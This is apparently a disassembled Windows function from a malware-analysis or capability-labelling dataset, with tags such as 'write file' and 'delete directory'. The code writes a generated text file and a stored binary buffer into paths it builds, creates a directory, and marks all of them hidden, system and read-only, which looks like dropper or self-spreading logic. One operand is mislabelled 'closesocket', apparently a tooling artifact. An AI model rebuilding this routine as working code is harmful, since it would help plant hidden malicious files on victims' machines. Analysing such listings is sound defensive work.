Function at 0x40b319
Capabilities:
Check if file exists
Create directory
Delete directory
Delete file
Get file attributes
Get file size
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1440
call fcn.0040b820
and dword [ebp - 4], 0
and dword [ebp - 0x114], 0
or dword [ebp - 0x224], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 0x228], eax
mov dword [ebp - 4], 0x40cfb0
push 0x104
push 0
lea eax, [ebp - 0xb30]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push 0x40cfe0
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 4]
push dword [ebp + 8]
push 0x40c534
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x104
push 0
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40cff0
lea eax, [ebp - 0x110]
push eax
push 0x40c3a4
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
movsx eax, byte [0x40e000]
cmp eax, 0xffffff92
jne 0x40b402
push 0
push 0xf9
push 0xa0
push 0x40e000
call fcn.004022d2
push 0x800
push 0
lea eax, [ebp - 0xa28]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40cffc
push 0x40cff0
push 0x40cfb0
push 0x40cffc
push 0x40cff0
push 0x40cfb0
push 0x40cff0
push 0x40cfb0
push 0x40e000
lea eax, [ebp - 0xa28]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x28
push 0x80
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
jne 0x40b5f0
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and eax, 0x10
je 0x40b4f5
call fcn.004023c0
push eax
push dword [ebp + 8]
push 0x40d004
lea eax, [ebp - 0x1438]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 1
lea eax, [ebp - 0x1438]
push eax
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x40b4f5
jmp 0x40b702
push 0x800
push 0
lea eax, [ebp - 0x1330]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0
push 3
push 0
push 1
push closesocket
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xffffffff
je 0x40b5f0
and dword [ebp - 0x143c], 0
push 0
lea eax, [ebp - 0x143c]
push eax
push 0x7fc
lea eax, [ebp - 0x1330]
push eax
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x1330]
push eax
lea eax, [ebp - 0xa28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40b5f0
push 0
push 0
push 3
push 0
push 1
push closesocket
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xffffffff
je 0x40b5f0
and dword [ebp - 0x1440], 0
push 0
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x1440], eax
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1440]
cmp eax, dword [0x4118b8]
jne 0x40b5f0
jmp 0x40b702
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xffffffff
jne 0x40b623
jmp 0x40b72f
push 0
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0xa28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0xa28]
push eax
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40b68b
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40b72f
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xffffffff
jne 0x40b6d5
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40b72f
push 0
lea eax, [ebp - 0x114]
push eax
push dword [0x4118b8]
push dword [0x4118b4]
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 7
lea eax, [ebp - 0x220]
push eax
call dword [ebp - 0x228]
push 7
lea eax, [ebp - 0x110]
push eax
call dword [ebp - 0x228]
push 7
lea eax, [ebp - 0xb30]
push eax
call dword [ebp - 0x228]
leave
ret 4